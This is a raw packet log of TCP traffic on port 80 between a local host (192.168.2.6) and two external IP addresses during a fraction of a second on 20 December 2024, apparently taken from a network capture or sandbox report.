Dec 20, 2024 17:43:47.970879078 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.970931053 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.972213030 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.972404003 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.972440004 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.972476006 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.973715067 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.973817110 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.973865032 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.975342989 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.975354910 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.975395918 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.975429058 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.977072954 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.978106022 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.978163004 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.978605986 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.978658915 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.978718042 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.978761911 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.980009079 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.980066061 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.981081009 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.981673956 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.981734037 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.982439041 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.982506990 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.983217001 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.983231068 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.983283997 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.983326912 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.985380888 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.985589027 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.985658884 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.986535072 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.988836050 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.032437086 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.032593966 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.032620907 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.032641888 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.032960892 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.033026934 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.033077002 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.034568071 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.034624100 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.034712076 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.034756899 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.036092043 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.036149025 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.059387922 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.059412956 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.059510946 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.059626102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.059732914 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.059784889 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.060620070 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.060673952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.060710907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.060800076 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.061695099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.061803102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.061847925 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.062720060 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.062859058 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.062901974 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.063805103 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.063847065 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.063957930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.064790964 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.064917088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.064973116 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.064987898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.065027952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.065908909 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.065953016 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.066112995 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.066153049 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.066973925 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.067015886 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.067044973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.067082882 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.068025112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.068068027 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.068099976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.068136930 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.069006920 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.069109917 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.069154978 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.070099115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.070204020 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.070254087 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.071202993 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.071249962 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.071386099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.072113037 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.072156906 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.072211027 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.072807074 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.073160887 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.073288918 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.073333025 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.074199915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.074264050 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.074266911 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.074312925 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.075490952 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.075544119 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.075589895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.075778008 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.076443911 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.076539993 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.076591015 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.077358007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.077409983 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.077449083 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.077545881 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.078365088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.078424931 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.078424931 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.078466892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.079411983 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.079464912 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.079519033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.079570055 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.080502987 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.080558062 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.080593109 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.080775023 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.081341982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.081453085 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.081475973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.081523895 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.082423925 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.082473993 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.082587004 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.082668066 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.083470106 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.083519936 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.083559036 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.083597898 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.084496021 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.084570885 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.084619999 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.084695101 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.085510015 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.085551977 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.085767031 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.085819960 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.086560011 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.086678028 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.086697102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.086745977 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.087670088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.087726116 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.087764978 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.087869883 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.088649988 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.088702917 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.088733912 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.088778973 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.089687109 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.089737892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.089796066 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.089909077 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.090718031 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.090763092 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.090832949 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.090883970 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.091773033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.091844082 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.091881990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.091969967 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.092920065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.092974901 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.093053102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.093188047 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.093905926 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.093970060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.094095945 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.094136000 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.094928980 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.095032930 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.095035076 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.095088005 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.096050978 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.096096039 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.096232891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.096287012 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.097045898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.097207069 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.097227097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.097264051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.098050117 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.098102093 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.098125935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.098294973 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.098455906 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.098515034 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.098577976 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.098913908 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.098961115 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.099010944 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.099055052 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.099133015 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.099145889 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.099176884 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.099198103 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.099917889 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.099967003 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.100029945 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.100068092 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.100140095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.100152016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.100187063 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.101120949 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.101178885 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.101200104 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.101242065 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.101317883 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.101329088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.101360083 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.101377964 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.102221966 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.102271080 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.102297068 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.102385998 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.102427006 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.102503061 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.102530003 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.102540016 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.103136063 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.103179932 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.103209972 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.103220940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.103262901 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.103410959 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.103439093 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.103455067 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.104757071 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.104820013 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.104844093 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.104856968 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.104882956 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.104909897 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.105058908 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.105091095 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.105540991 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.105587959 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.105628967 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.105639935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.105667114 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.105700970 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.105834007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.105987072 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.106264114 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.106307030 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.106362104 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.106374025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.106400967 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.106421947 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.106513977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.106558084 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.107274055 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.107326031 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.107356071 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.107367992 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.107389927 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.107417107 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.107590914 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.107636929 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.108402967 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.108453035 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.108480930 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.108493090 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.108522892 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.108549118 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.108694077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.108731985 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.109344006 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.109390020 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.109505892 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.109518051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.109558105 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.109632015 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.109642982 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.109673977 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.110395908 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.110475063 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.110588074 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.110599995 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.110629082 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.110651016 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.110686064 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.110735893 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.111326933 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.111371040 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.111399889 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.111428976 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.111511946 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.111537933 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.111550093 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.111577034 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.111594915 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.112364054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.112430096 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.112479925 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.112521887 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.112576962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.112588882 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.112615108 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.112638950 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.113395929 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.113442898 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.113564968 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.113605022 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.113637924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.113676071 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.114406109 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.114459038 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.114511967 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.114557028 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.115416050 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.115498066 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.115514040 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.115550995 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.116486073 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.116631031 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.116638899 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.116780996 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.117432117 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.117480993 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.117528915 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.117569923 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.118486881 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.118536949 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.118582964 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.118618011 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.119504929 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.119533062 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.119591951 CET	49776	80	192.168.2.6	194.126.174.112
